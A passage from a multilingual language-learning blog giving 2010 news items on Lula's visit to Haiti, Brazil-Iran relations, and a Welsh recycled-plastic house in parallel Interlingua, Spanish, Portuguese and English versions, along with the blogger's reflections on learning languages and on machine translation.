que percibir al Brasil realmente en el mercado mundial como un productor sólido y significante de energía para ver un resultado en nuestras aulas de lenguas.\nSi esto ocurre, sin embargo, aquellos de nosotros que somos hablantes nativos de ingles y que estamos en el puente entre Brasil y los Estados Unidos y el Reino Unido estaremos en una posición estratégica porque hablamos portugués e inglés y sabemos algo acerca de la cultura de la gente que habla estos dos idiomas. A veces, nuestros talentos pueden ser útiles para nuestros conciudadanos, y siempre pueden ser una fuente personal de satisfacción y diversión.\n---\nQuanta energia seria necessária para o português se tornar uma língua global?\nO português ja e uma das 10 linguas mais faladas no mundo, porem poucas pessoas escolhem aprende-lo depois de adulto. Será que a ascendência da economia Brasileira seria suficiente para ver um aumento no numero de alunos de portugues?\nThomas Alvárez, que escreveu um breve artigo sobre este assunto em inglês, admite que \"para convencer os falantes não-nativos para investir seus recursos limitados no assunto sério de aprender uma nova língua, o processo teria de ser visto pelos estudantes como um meio valioso de atingir outro objetivo importante\".\nPara algumas pessoas, um tal objectivo seria a possibilidade de um emprego que pague mais dinheiro. Para outros, a consideração importante seria falar com namorados, namoradas, maridos ou esposas em sua língua nativa. Para mim, pessoalmente, foi porque eu gosto do som do português como língua falada--especialmente nas bocas do povo do Rio de Janeiro e Lisboa.\nJa que o português é uma das linguas mais dificeis de se aprender, nos teriamos que perceber o Brasil realmente no mercado mundial como um produtor sólido e significante de energia para ver um resultado em nossas aulas de línguas.\nSe isso acontecer, no entanto, aqueles de nós que somos falantes nativos de Inglês e que nos encontramos na ponte entre o Brasil e os e os Estados Unidos e o Reino Unido estaremos estrategicamente colocados porque nós falamos inglês e português e sabemos algo sobre a cultura da gente que fala estas duas línguas. Às vezes nossos talentos podem ser úteis a nossos concidadãos, e eles sempre podem ser uma fonte pessoal de diversão e satisfação.\n---\nHow much energy would be necessary for Portuguese to become a global language?\nPortuguese is now one of the ten most spoken languages in the world, but few people choose to learn it as an adult. Would the ascendancy of the Brazilian economy be enough to see an increase in the number of students in Portuguese?\nThomas Alvarez, who wrote a brief article on this issue in English, admits that \"to convince non-native speakers to invest their limited resources on the serious matter of learning a new language, the process would have to be seen by students as a valuable way of achieving another important goal.\"\nFor some people, such an objective would be the possibility of a job that pays more money. For others the important consideration would be to speak with boyfriends, girlfriends, husbands, or wives in their native language. For me personally, it has been because I like the sound of Portuguese as a spoken language--especially in the mouths of people from Rio de Janeiro and Lisbon.\nSince Portuguese is one of the most difficult languages to learn, we'd have to notice that Brazil has really entered the world market as a significant and solid energy producer to see an outcome in our language classrooms.\nIf this happens, however, we speakers of English who are on the bridge between Brazil and the United States and the United Kingdom will be strategically placed since we speak both English and Portuguese and know something about the culture of the people who speak these two languages. At times our talents can be useful to our fellow citizens, and they can always be a personal source of fun and satisfaction.\nPosted by hkyson at 5:19 AM\nSaturday, February 27, 2010\n(Langauges of this post: Interlingua, Spanish, Portuguese, English)\nLe presidente Luiz Inácio Lula da Silva diceva jovedi durante un visita a Haiti que le situation in ille pais, que esseva devastate per un seismo le passate 12 de januario \"es plus grave que lo que io imaginava\".\nIste declaration esseva facite post que Lula, accompaniate per le presidente Haitian René Préval, e le Ministro de Defensa, Nelson Jobim, volava sur le districtos affectate del capital, Port-au-Prince.\nLula dice que le Brasil \"jam ha un politica de solidaritate multo forte\" pro le pais Caribbean, ma que illo facera multo plus pro adjuvar le pais.\n\"Post vider con mi proprie oculos lo que sta a passar, io decideva que nos va a facer multo plus\", diceva ille. \"Le cosas in Haiti es plus grave que lo que se imaginava.\"\nDurante le visita, le presidente anque suggereva que le creditores international perdona omne le debitos del pais, que, secundo ille, arriva a US$1,3 billiones.\n\"Io diceva al Presidente Preval que nos nunc debe facer un gesto significante con omne le creditores de Haiti, includente le Banca Mundial e le Fundo Monitari International\", diceva Lula durante un visita al base militar brasilian in Port-au-Prince.\n\"Haiti ha un debito de US$1,3 mille milliones e il es necesse nunc que le mundo demonstra que illo vole vermente adjuvar le pais cancellante iste debito\", accentuava Lula.\nSecundo le presidente del Brasil, le cancellation del debito non va a resolver le necessitate immediate del pais, ma illo permittera que Haiti potera restaurar le lineas de credito que essera essential pro le restoration del pais.\nLula anque diceva que le Brasil va a subordinar se al ideas del governamento de Haiti in le proecsso de reconstruction del pais.\n\"Nos nos subordinara al ideas del governamento de Haiti\", diceva Lula. \"Il es Haiti que debe dicer lo que illo vole que se face e como on lo face. Nos non pote venir del Brasil e arrivar hic e facer le cosas de maniera que nos volerea.\"\nLula anque dava le mesme message durante su discurso le martedi in le Summitate del Americas e del Caribbean, in Mexico.\nLe governamento brasilian ha exprimite su preoccupation sur le injection de altere paises in le processo politic de Haiti durante le reconstruction. \"Iste pais ha un governamento legitime elegite per votos popular\", ille addeva, \"e omne debe facer se sub le controlo del governamento de Haiti.\"\nQuando ille diceva isto, ille probabilemente stava a pensar del Statos Unite, cuje interventiones in le passato produceva multe pauc beneficios pro le populo haitian como un toto.\nLe presidente Préval diceva que su governamento decideva renunciar le idea de mover le gente sin focar a causa del seismo a campamentos in le interior del pais.\n\"Nos percipeva que le gente non vole esser transferite\", diceva Préval con referentia al strategia adoptate un pauco post le seismo de stimular le migration de personas sin focar a in zonas minus populate del pais.\nSecundo le presidente de Haiti, le prioritate nunc es meliorar le locos de refugio e remover le immunditias producite per le seismo.\n--\nLula dice que la situación en Haití es \"peor de lo imaginado\".\nEl presidente Luiz Inácio Lula da Silva dijo el jueves durante una visita a Haití que la situación en ese país, que fue devastado por un terremoto el pasado 12 de enero, \"es más grave de lo imaginado\".\nEsta declaración fue hecha después de que Lula, acompañado por el presidente haitiano René Préval y el Ministro de Defensa, Nelson Jobim, voló sobre los distritos afectados de la capital, Puerto Príncipe.\nLula dijo que Brasil \"ya tiene una política de solidaridad muy fuerte\" para el país caribeño, pero que hará mucho más para ayudar al país.\n\"Después de ver con mis propios ojos lo que está sucediendo, decidí que vamos a hacer mucho más\", dijo. \"Las cosas en Haití son más graves de lo que se imaginaba.\"\nDurante la visita, el presidente también sugirió que los acreedores internacionales perdonen toda la deuda del país, que, según él, llega a US$1,3 billones.\n\"Le dije al presidente Preval que ahora tenemos que hacer un gesto significante con todos los acreedores de Haití, incluyendo el Banco Mundial y el Fondo Monetario Internacional\", dijo Lula durante una visita a la base militar brasileña en Puerto Príncipe.\n\"Haití tiene una deuda de EE.UU$1,3 mil millones y es necesario ahora que el mundo demuestre que verdaderamente quiere ayudar al país, cancelando esta deuda\", subrayó Lula.\nDe acuerdo con el presidente de Brasil, la cancelación de la deuda no va a resolver la necesidad inmediata del país, pero permitirá que Haití será capaz de restaurar las líneas de crédito que serán essenciales para la restauración del país.\nLula también dijo que Brasil va a subordinarse a las ideas del gobierno de Haití en el proceso de reconstrucción del país.\n\"Estamos sujetos a la dirección del gobierno de Haití\", dijo Lula. \"Es que Haití ha de decir lo que quiere hacer y cómo quiere hacerlo. No podemos dejar a Brasil y venir aquí y hacer las cosas como queremos\".\nLula también dio el mismo mensaje durante su discurso el martes en la Cumbre de las Américas y el Caribe, en México.\nEl gobierno brasileño ha expresado su preocupación por la injerencia de otros países de la región en el proceso político de Haití durante la reconstrucción. \"Este país tiene un gobierno legítimo elegido por votación popular\", añadió, \"y todo debe hacerse bajo el control del gobierno de Haití.\"\nCuando dijo esto, Lula probablemente estaba pensando en las intervenciones pasadas de los Estados Unidos en Haití, que produjeron muy pocos beneficios para el pueblo haitiano en su conjunto.\nEl presidente Preval dijo que su gobierno decidió renunciar a la idea de trasladar a la gente sin hogar a causa del terremoto en campamentos en el interior del país.\n\"Nos dimos cuenta de que las personas no quieren ser reubicadas\", dijo Preval, al referirse a la estrategia adoptada poco después del terremoto de estimular la migración de personas sin hogar en las zonas menos pobladas del país.\nSegún el presidente de Haití, la prioridad ahora es mejorar la vivienda y eliminar los desechos producidos por el seismo.\n---\nLula diz que a situação no Haiti é \"pior do que imaginava\".\nO presidente Luiz Inácio Lula da Silva afirmou nesta quinta-feira, durante visita ao Haiti, que a situação nesse país, que foi devastado por um terremoto no último dia 12 de janeiro, \"é mais grave do que imaginava\".\nEsta declaração foi feita depois de Lula, acompanhado pelo presidente haitiano, René Préval e pelo Ministro da Defesa, Nelson Jobim, ter sobrevoado os bairros afetados da capital, Porto Príncipe.\nLula disse que o Brasil \"já tem feito uma política de solidariedade muito forte\" para com o país caribenho, mas que irá fazer muito mais para ajudar o país.\n\"Depois de ver com meus próprios olhos o que está acontecendo, decidi que vamos fazer muito mais\", disse. \"As coisas no Haiti são mais graves do que a gente imaginava.\"\nDurante a visita, o presidente ainda sugeriu que os credores internacionais perdoem toda a dívida externa do país, que segundo ele, chega a US$1,3 bilhões.\n\"Eu disse ao presidente Préval que agora precisamos fazer uma gestão significante junto a todos os credores do Haiti, incluindo o Banco Mundial e o Fundo Monetário Internacional\", disse Lula durante uma visita à base militar brasileira em Porto Príncipe.\n\"O Haiti tem um dívida de US$ 1,3 bilhão e é preciso agora que o mundo dê demonstração de que quer ajudar de verdade, anistiando essa dívida\", insiste Lula.\nDe acordo com o presidente brasileiro, o perdão da dívida não vai resolver a necessidade imediata do país, mas vai permitir que o Haiti possa restabelecer linhas de crédito que vão ser essenciais para a recuperação do país.\nLula disse ainda que o Brasil vai se subordinar às ideias do governo haitiano durante o processo de reconstrução do país.\n\"Vamos nos subordinar à orientação do governo do Haiti\", disse Lula. \"É o Haiti que tem que dizer o que quer que a gente faça e como a gente faça. Não podemos sair do Brasil e chegar aqui e fazer as coisas do jeito que quisermos.\"\nLula também deu a mesma mensagem durante seu discurso, na terça-feira durante a Cúpula das Américas e do Caribe, no México.\nO governo brasileiro manifestou sua preocupação com a interferência de outros países da região no processo político no Haiti durante a reconstrução. \"Este país tem um governo legitimamente eleito pelo voto popular\", ele acrescentou, \"e tudo debe ser feito sob o controle do governo haitiano.\"\nQuando ele disse isso, Lula provavelmente estava pensando em intervenções passadas pelos Estados Unidos no Haiti, que produziram muito poucos benefícios para o povo haitiano como um todo.\nO presidente Préval disse que seu governo decidiu desistir da idéia de mover as pessoas desabrigadas pelo tremor de terra em acampamentos no interior do país.\n\"Percebemos que a gente não quer ser transferida\", disse Préval, referindo-se a estratégia adoptada logo após o terremoto de estimular a migração de moradores de rua em zonas menos povoadas do país.\nSegundo o presidente do Haiti, a prioridade agora é melhorar os abrigos e remover a lixa producida por o seismo.\n---\nLula says the situation in Haiti is \"worse than I imagined.\"\nPresident Luiz Inacio Lula da Silva said on Thursday during a visit to Haiti, that the situation in that country, which was devastated by an earthquake last January 12, \"is more serious than I imagined.\"\nThis statement was made after Lula, accompanied by Haitian President René Préval and the Defense Minister Nelson Jobim, flew over the affected districts of the capital, Port au Prince.\nLula said that Brazil \"has already shown a very strong policy of solidarity\" for the Caribbean country, but that it is going to do a great deal more to help the country (out).\n\"After seeing with my own eyes what is happening, I decided that we are going to do much more,\" he said. \"Things in Haiti are more serious than people imagined.\"\nDuring the visit, the president also suggested that international creditors forgive the entire debt of the country, which he said has reached $1.3 billion.\n\"I told President Preval we now need to make a significant gesture that involves all of Haiti's creditors, including the World Bank and the International Monetary Fund,\" Lula said during a visit to the Brazilian military base in Port au Prince.\n\"Haiti has a debt of $1.3 billion and the world must now show that it really wants to help (out) by forgiving that debt,\" Lula insists.\nAccording to the Brazilian president, forgiveness of the debt will not solve the immediate need of the country, but will allow Haiti to restore the lines of credit that will be essential for the country's recovery.\nLula also said that Brazil will subordinate itself to the ideas of the Haitian government in the process of rebuilding the country.\n\"We are subject to the guidance of Haiti's government,\" Lula said. \"It is Haiti that must say what must be done and how it must be done. We can't leave Brazil and come here and just do things the way we want.\"\nLula also gave the same message during his speech on Tuesday during the Summit of the Americas and the Caribbean in Mexico.\nThe Brazilian government has expressed concern about the interference of other regional countries in Haiti's political process during the reconstruction. \"This country has a legitimate government elected by popular vote,\" he added, \"and everything must be done under the control of the Haitian government.\"\nWhen he said this, Lula was probably thinking of past interventions by the United States in Haiti, which produced very few benefits for the Haitian people as a whole.\nPresident Preval said his government decided to give up (on) the idea of moving the people made homeless by the earthquake into camps in the country's interior.\n\"We realized that people do not want to be relocated,\" Preval said, referring to the strategy adopted shortly after the earthquake to stimulate the migration of homeless people into less populated areas of the country.\nAccording to the President of Haiti, the priority now is to improve shelters and remove the debris produced by the earthquake.\nPosted by hkyson at 6:54 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nLe presidente Luiz Inácio Lula da Silva diceva venerdi que ille non ha le necessitate de justificar al Statos Unite le visita que ille va a facer a Iran le maio proxime. Ille solmente debe justificar se al populo brasilian.\nOn habeva facite un demanda al presidente sur le reunion que ille habera le proxime septimana in Brasília con le secretaria de Stato Hillary Clinton e si iste reunion poterea resultar in un cambio de attitude in le governamento brasilian sur Iran.\n\"Le Statos Unite es un nation soveran, e Brasil es un altere pais soveran\", diceva Lula. \"Illes va a visitar le personas que illes vole visitar, e io visita le personas que io vole visitar intra considerationes de respecto pro cata pais soveran\".\nLula diceva, non obstante, que ille non se trovara de accordo con le governamento irani se illo decide ampliar su programma nuclear pro inricchir uranio usque 20%.\n\"Iran sta a rumper le tractato que se approbava pro omne nos in le Nationes Unite\", diceva Lula. \"E io non poterea trovar me de accordo con Iran si su governamento decide violar ille tractato\".\nAnte duo septimanas, le governamento irani comenciava un processo de inricchir uranio a 20%, un puncto critic desde le qual le creation de un arma nuclear deveni alique multo plus facile.\nDesde ille tempore, diverse paises, includente le Statos Unite e Francia, ha defendite un nove serie de sanctiones economic contra Teheran.\nLe governamento brasilian se ha declarate contra le idea, con le argumento que le mensura poterea obstacularisar le dialogo con Iran, lo que resultarea in un plus grande isolation del pais. Le thema se trova in le tabula pro esser discutite durante le visita de Cllinton al Brasil.\nBrasil, El Salvador, e le programma public pro construer nove casas in le Brasil:\nConsiderate como un discipulo de Lula a causa del similaritate inter le duo leaders, le presidente de El Salvador, Mauricio Funes, audiva de Lula un serie de suggestiones sur como reimplaciar in su pais le experientia del Brasil durante su administration.\nLula diceva que su governamento se trova compromittite a construer casas public. Pro illo il debe haber un subvention, e ille annunciava le ampliation de Minha Casa, Minha Vida (Mi casa, Mi Vita) a 1 million de nove focares.\nSecundo le presidente, le annuncio official se realisara al fin de martio, durante le lanceamento del secunde version del Programma de Acceleration (CAP 2). Iste es un programma de expansion economic que Lula poteva aperir sin eveliar le anxietate del classe alte del Brasil.\nAl latere de Lula, Funes diceva que ille se trovava \"preoccupate\" per le facto de que le presidente non gestionara su pais post 2011.\n\"Io spera que le canditato del PT, Roussef, ganiara le electiones presidential del Brasil\", diceva le presidente Salvadoran, \"e que su governamento essera tan bon como vostre administration pro le pais\".\n---\nLula dice que no tiene que justificar a los Estados Unidos sus relaciones con Irán\nEl presidente Luiz Inácio Lula da Silva dijo el viernes que no tene que justificar a los Estados Unidos la visita que va a hacer a Irán el mayo próximo. Sólo tiene que justificarse al pueblo brasileño\nEl presidente había sido preguntado sobre la reunión que tendrá la próxima semana en Brasilia con la secretaria de Estado, Hillary Clinton, y si esta reunión podría resultar en un cambio de actitud en el gobierno brasileño sobre Irán\n\"Estados Unidos es una nación soberana, y Brasil es otro país soberano\", dijo Lula. \"Ellos visitan a quienes quieren visitar e yo visito a quienes yo quiero visitar dentro de consideraciones de respecto para cada país soberano\".\nLula dijo, sin embargo, que no estará de acuerdo con el gobierno iraní si éste decide ampliar su programa nuclear para enriquecer uranio por encima del 20%.\n\"Irán está rompiendo el tratado que se aprobó para todos nosotros, en las Naciones Unidas\", dijo Lula. \"Y yo no podría estar de acuerdo con Irán si su gobierno decide a violar ese tratado\".\nHace dos semanas, el gobierno iraní comenzó un proceso de enriquecimiento de uranio al 20%, un punto crítico desde el cual la creación de un arma nuclear se convierte en algo mucho más fácil.\nDesde entonces, varios países, incluyendo Estados Unidos y Francia, han defendido una nueva ronda de sanciones económicas a Teherán.\nEl gobierno brasileño se ha declarado contra la idea, argumentando que la medida podría obstaculizar el diálogo con Irán, lo que resultaría en un mayor aislamiento del país. El tema ha de ser discutido durante la visita de Clinton a Brasil.\nBrasil, El Salvador y el programa público para construir nuevas viviendas en Brasil:\nConsiderado como un discípulo de Lula a causa de la semejanza entre los dos dirigentes, el presidente de El Salvador, Mauricio Funes, oyó de Lula una serie de sugerencias acerca de cómo replicar en su país la experiencia de Brasil durante su administración.\nLula dijo que su gobierno está comprometido a construir viviendas públicas. Para eso, debe haber una subvención, y anunció la ampliación de Minha Casa, Minha Vida (Mi Casa, Mi Vida) a 1 millón de nuevos hogares.\nSegún el presidente, el anuncio oficial se realizará a finales de marzo, durante el lanzamiento de la segunda versión del Programa de Aceleración (CAP 2). Éste es un programa de expansión económica que Lula pudo abrir sin despertar la ansiedad de la clase alta de Brasil.\nJunto a Lula, Funes dijo que estaba \"preocupado\" por el hecho de que el presidente brasileño no estará en funciones a partir de 2011.\n\"Espero que el candidato del PT, Roussef, gane las elecciones presidenciales de Brasil\", dijo el presidente salvadoreño, \"y que su gobierno sea tan bueno como la administración de usted para el país\".\n---\nLula diz que não tem de justificar aos Estados Unidos suas relações com o Irão.\nO presidente Luiz Inácio Lula da Silva disse nesta sexta feira que não tem de justificar aos Estados Unidos a visita que ele vai fazer para o Irã o maio próximo. Ele só tem de se justificar para o povo brasileiro\nO presidente havia sido questionado sobre o encontro que terá, na próxima semana em Brasília, com a secretária de Estado americano, Hillary Clinton, e se essa reunião poderia resultar numa mudança de postura do governo brasileiro em relação ao Irã.\n\"Os Estados Unidos são uma nação soberana, e o Brasil é outra nação soberana\", disse Lula. \"Eles visitam quem querem e eu visito quem eu quero dentro de consideraçações de respeito soberano para cada país.\"\nLula disse, no entanto, que não concordará com o governo iraniano, caso este decida ampliar seu programa nuclear para um enriquecimento de urânio acima de 20%.\n\"O Irã estará rompendo com o tratado que foi aprobado para todos nós, nas Nações Unidas\", disse Lula. \"E eu não poderia estar de acordo com o Irã se seu governo decidir que vai quebrar esse tratado.\"\nHá duas semanas o governo iraniano deu início a um processo de enriquecimento de urânio a 20%, um ponto critico a partir do qual a criação de uma arma nuclear torna-se significantemente mais fácil.\nDesde então, diversos países, entre eles Estados Unidos e França, vêm defendendo uma nova rodada de sanções econômicas a Teerã.\nO governo brasileiro tem declarado ser contrário à idéia, com o argumento de que a medida dificultaria o diálogo com o Irã, resultando em um maior isolamento do país. O tema deverá ser discutido durante a visita de Hillary ao Brasil.\nBrasil, El Salvador e o programa publico para construir novas casas no Brasil:\nConsiderado um discípulo de Lula em função da proximidade entre os dois governantes, o presidente de El Salvador, Mauricio Funes, ouviu de Lula uma série de sugestões sobre como replicar em seu país a experiência brasileira durante sua administração.\nLula disse que seu governo assumiu o compromisso de construir casas populares. Para isso, tem de ter subsídio, e ele anunciou a expansão do programa Minha Casa, Minha Vida para 1 milhão de novas casas.\nSegundo o presidente, o anúncio oficial será feito no final de março, durante o lançamento da segunda versão do Programa de Aceleração do Crescimento (PAC 2). Este é um programa de expansão econômica que o governo Lula foi capaz de inaugurar sem despertar a ansiedade de classe alta do Brasil.\nAo lado de Lula, Funes se disse \"preocupado\" com o fato de que o presidente brasileiro não estará à frente do governo a partir de 2011.\n\"Estou torcendo para que a candidata do PT, Dilma Roussef, ganhe as eleições presidencias do Brasil\", disse o presidente salvadorenho \"e que sua administração seja tão eficaz como a administração de você foi para o país\".\n---\nLula says that he does not have to justify to the United States his relations with Iran.\nPresident Luiz Inácio Lula da Silva said Friday that he does not have to justify to the United States the visit to Iran that he is going to make next May. He only has to justify himself to the Brazilian people.\nThe president had been asked about the meeting he will have next week in Brasilia with Secretary of State, Hillary Clinton, and if this meeting could result in a change of attitude in the Brazilian government on Iran.\n\"The United States is a sovereign nation, and Brazil is another sovereign nation,\" said Lula. \"They visit who they want, and I will visit who I want within considerations of respect for the sovereignty of each country.\"\nLula said, however, that he will not agree with the Iranian government if it decides to expand its nuclear program to enrich uranium above 20%.\n\"Iran is breaking the treaty that was approved for all of us in the United Nations,\" said Lula, \"and I could not be in agreement with Iran if its government decides to break this treaty.\"\nTwo weeks ago the Iranian government began a process of enriching uranium up to 20%, a critical point from which creating a nuclear weapon becomes significantly easier.\nSince then, several countries, including the United States and France, have defended a new round of economic sanctions against Tehran.\nThe Brazilian government has declared itself to be against the idea, arguing that the measure would hinder dialogue with Iran, resulting in greater isolation of the country. The issue is to be discussed during the Clinton's visit to Brazil.\nBrazil, El Salvador, and the public program to build new houses in Brazil:\nConsidered a disciple of Lula because of the closeness of the two governments, Mauricio Funes heard a number of suggestions about how to reproduce in El Salvador the Brazilian experience during Lula's administration.\nLula said his government has assumed the responsibility of building public housing. To do this, there has to be a subsidy, and he announced the expansion of the Minha Casa, Minha Vida program (My House, My Life) to 1 million new homes.\nAccording to the president, the official announcement will be made in late March during the launch of the 2nd version of the Continuous Acceleration Program (PAC 2 in its Portuguese acronym). This is a program of economic expansion which Lula's government was able to undertake without arousing the anxiety of Brazil's upper class.\nNext to Lula, Funes said he was \"concerned\" about the fact that the Brazilian president will not be in office after 2011.\n\"I'm hoping that the PT candidate, Roussef, wins Brazil's presidential elections,\" said the Salvadoran President, \"and that her administration will be as effective as your own administration has been for the country.\"\nPosted by hkyson at 9:01 AM\nFriday, February 26, 2010\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nUn compania in le pais de Galles, in Grande Britannia, construeva un casa con 18 tonnas de plastico recyclate.\nLe compania, Affresol, ha disveloppate un technologia que converte le plastico e mineralos in un material appellate Thermo Poly Rock, que poterea revolutionar le industria del construction.\nLe projecto, appoiate per le governamento de Galles e per organisationes ambiental, jam ha lanceate un linea de casas verde e edificios modular portabile de quatro tonnas.\nLe Secretario de Economia del pais de Galles, Ieuan Wyn Jones, diceva que le nove processo de disveloppamento ha un grande potential e pote generar un grande quantitate de empleos.\nLe compania dice que le processo ha un basse taxa de consumption de energia e transforma plastico a in un material durabile e resistente.\nPlancas de Thermo Poly Rock forma le muros de appoio del casa, que potera esser coperite in le exterior con briccas o petra, durante que le interior provide un strato de insulation e mantene le mesmo aspecto de un casa traditional. Le tegulas anque es facite de material recyclate.\nLe director gerente de Affresol, Ian McPherson, dice que le nove material es plus legier e plus durabile que le beton e es resistente al aqua e non-inflammabile, e illo anque non se putre.\nLe compania estima que le vita utile del casas construite con iste material es de unes 60 annos, ma illo dice que le elementos de Thermo Poly Rock pote esser recyclate novemente al final de iste periodo.\n\"Omne le paises del mundo ha problemas con immunditias\", dice McPherson. \"Nunc nos ha le opportunitate de converter iste residuos in un ressource pro le construction de casas que es 100% recyclabile.\"\nActualmente, le compania spera le approbation pro construer 19 casas in Merthyr in Galles como parte de un projecto piloto.\n---\nEmpresa galesa construye una casa con 18 toneladas de plástico reciclado.\nUna empresa en el País de Gales, en Gran Bretaña, construyó una casa con 18 toneladas de plástico reciclado.\nLa empresa, Affresol, ha desarrollado una tecnología que convierte el plástico y minerales en un material llamado Thermo Poly Rock, que podría revolucionar la industria de la construcción.\nEl proyecto, apoyado por el Gobierno de Gales y por organizaciones ambientales, ha puesto en marcha una línea de casas verdes y edificios modulares portátiles de cuatro toneladas.\nEl Secretario de Economía del País de Gales, Ieuan Wyn Jones, dijo que el nuevo proceso de desarrollo tiene un gran potencial y puede generar una gran cantidad de empleos.\nLa compañía dice que el proceso tiene bajo consumo de energía y transforma plástico en un material duradero y resistente.\nTableros de Thermo Poly Rock forman los muros de soporte de la casa, que podrán ser cobiertos en el exterior con ladrillos o piedra, mientras que el interior puede hacer una capa de aislamiento y mantener el mismo aspecto de una casa tradicional. Los azulejos también están hechos de material reciclado.\nEl director gerente de Affresol, Ian McPherson, dice que el nuevo material es más ligero y más duradero que el hormigón y es resistente al agua, no inflamable y no se pudre.\nLa compañía estima que la vida útil de las viviendas construidas de este material es de unos 60 años, pero dice que los elementos de Thermo Poly Rock pueden ser reciclados de nuevo al final de este período.\n\"Todos los países del mundo tienen problemas con la basura\", dice McPherson. \"Ahora tenemos la oportunidad de convertir estos residuos en un recurso para la construcción de viviendas que es 100% reciclable.\"\nEn la actualidad, la compañía espera la aprobación para construir 19 viviendas en Merthyr en Gales, como parte de un proyecto piloto.\n---\nEmpresa galesa constrói uma casa com 18 toneladas de plástico reciclado.\nUma empresa do País de Gales, na Grã-Bretanha, construiu uma casa com 18 toneladas de plástico reciclado.\nA companhia, Affresol, desenvolveu uma tecnologia que transforma plástico e minerais em um material batizado de Thermo Poly Rock, que poderia revolucionar a indústria de construção.\nO projeto, apoiado pelo governo galês e por organizações ambientais, já lançou uma linha de casas verdes e construções modulares portáteis de quatro toneladas.\nO secretário da Economia do país de Gales, Ieuan Wyn Jones, disse que o novo processo sustentável tem muito potencial e pode gerar uma grande quantidade de empregos.\nA empresa diz que o processo tem baixo consumo de energia e transforma plástico em um material durável e resistente.\nAs placas de Thermo Poly Rock formam as paredes de sustentação da casa, que podem ser coberta externamente com tijolos ou pedra, enquanto o interior pode ganhar uma camada de isolamento térmico e ficar com a mesma aparência de uma casa tradicional. As telhas também são feitas de material reciclado.\nO diretor-gerente da Affresol, Ian McPherson, diz que o novo material é mais leve e resistente que concreto e é impermeável, não-inflamável e não apodrece.\nA empresa estima que a vida útil das casas construídas com este material seja de cerca de 60 anos, mas diz que os elementos do Thermo Poly Rock podem ser novamente reciclados ao fim deste período.\n\"Todos os países do mundo têm problemas com lixo\", diz McPherson. \"Agora temos a oportunidade de transformar este lixo em um recurso de construção de moradias que é 100% reciclável.\"\nNeste momento, a empresa aguarda aprovação para construir 19 casas em Merthyr, no País de Gales, como parte de um projeto-piloto.\n---\nWelsh company constructs a house with 18 tons of recycled plastic.\nA company in Wales, in Great Britain, built a house with eighteen tons of recycled plastic.\nThe company, Affresol, has developed a technology that turns plastic and minerals into a material named Thermo Poly Rock, which could revolutionize the construction industry.\nThe project, supported by the Welsh Government and by environmental organizations, has launched a line of green houses and portable modular buildings weighing four tons.\nThe Secretary of the Economy of Wales, Ieuan Wyn Jones, said that the new sustainable process has a great deal of potential and can generate a lot of jobs.\nThe company says the process is low in its consumption of energy and transforms plastic into a strong, resistant material.\nBoards of Thermo Poly Rock form the supporting walls of the house, which may be covered externally with bricks or stone, while the interior can provide a layer of insulation and keep the same look of a traditional house. The tiles are also made from recycled material.\nThe managing director of Affresol, Ian McPherson, says the new material is lighter and more durable than concrete and is waterproof, non-flammable and does not rot.\nThe company estimates that the useful life of the houses constructed with this material is about 60 years, but says that the elements of Thermo Poly Rock can be recycled again at the end of this period.\n\"All countries of the world have problems with garbage,\" says McPherson. \"Now we have the opportunity to turn this waste into a resource for building houses that is 100% recyclable.\"\nAt this moment, the company is awaiting approval to build nineteen homes in Merthyr in Wales, as part of a pilot project.\nPosted by hkyson at 9:07 PM\n(Languages of this post: Interlingua, English)\nIo vole que omne mi amicos angloparlante qui non cognosce altere linguas que le major parte del messages de iste blog ha un version in anglese; e si vos non ha ulle interesse in studiar le altere linguas que appare in iste blog, vos pote vader directemente al fin de cata articulo, ubi vos pote trovar su version in anglese.\nLe objectivo de \"Interlingua multilingue\" es adjuvar su lectores a apprender interlingua e su linguas fonte, e le version in anglese de iste articulos es destinate principalmente a studentes del anglese como un secunde o tertie lingua.\nLe articulos de iste blog es sur themas que io trova interessante e relevante al mundo contemporanee. Io es convencite que le gente apprender linguas con un maximo de efficacitate quando illes pote travaliar con textos que es interessante e relevante a lor vitas.\nDurante que le gruppo de linguas anglo-romanic ha multe differentias inter se, illos anque ha un nucleo structural e grammatic que es multo simile in omne illos. Durante que io redige textos pro \"Interlingua multiliingue\", io essaya a dar emphase a iste nucleo. Si studentes de linguas pote controlar le nucleo de iste linguas, illes pote mover inter illos con un minimo de difficultate. Le comparation de mutle textos parallel equivalente es un maniera excellente de studiar linguas, e un studente pote apprender multo per le studio de iste tipo de textos.\nJean François Champolion poteva deciphrar le egyptiano ancian usante le petra Rosetta, que ha le mesme texto in hieroglyphicos, un scripto demotic, e Greco. Champolion habeva talentos exceptional como linguista e poteva apprender a leger egyptiano per un exposition limitate a un parve corpore de textos in egyptiano e Greco.\nPro studentes ordinari qui non ha le talentos exceptional de Champolion, le studio de linguas per textos parallel deveni progressivemente plus facile si le numero de textos es grande. In altere parolas, il ha un proportion directe inter le numero de textos parallel e lor utilitate pedagogic.\nA iste momento, io volerea facer unes breve commentarios sur le traduction electronic e systemas informatic que pote recognoscer le linguage parlate e converter lo a in texto. Io mesme, como le major parte de nos, darea le ben venite a motores de traduction que functiona tan ben como traductores human. On poterea usar los como tutores multo patiente pro studentes human de linguas. Mesmo nunc, io ha trovate que le capacitates limitate del motor de traduction de Google es multo utile proque illos me sparnia tempore e labor durante que io redige le textos de \"Interlingua multilingue\".\nNos nunc ha systemas informatic que es tan bon como stenographos commercial in le epocha ante que Internet deveniva un utilitate intellectual quasi universal. Io ha vidite demonstrationes in YouTube de Dragon Naturally Speaking, que ha versiones in anglese e espaniol que pare esser multo exacte e versatile. Con le temore, on publicara altere simile systemas pro altere linguas. Ante pauc tempore, on predeciva que tal systemas apparerea solmente post le anno 2050 a causa del grande numero de problemas que on deberea resolver ante que illos devenirea assatis potente pro uso general.\nLe problemas de disveloppar systemas informatics pro traducer linguas es mesmo plus complicate. Traductores human qui es vermente bon, ultra deber dominar le vocabularios e syntaxe del linguas con le quales illes travalia, anque debe haber multe cognoscimentos cultural general durante que illes travalia pro producer traductiones que es vermente bon. A iste momento, il es difficile conciper como iste cognoscimentos pote incorporar se a in motores de traduction.\nIn despecto de iste difficultates tamen on non pote concluder in iste momento que disveloppar motores de traduction informatic con cognoscimentos simile es completemente impossibile. Le linguas human es systemas complicatissime, e on debera facer multe progresso in le intelligentia artificial ante que traductores electronic potera duplicar le capacitate de traductores human qui es vermente bon.\nIo ha notate melioramentos progressive in le motor de traduction de Google in le menses que io lo ha usate, e io es confidente que illo continuara a meliorar se. Iste systema opera principalmente usante comparationes statistic de un ingente corpore de textos 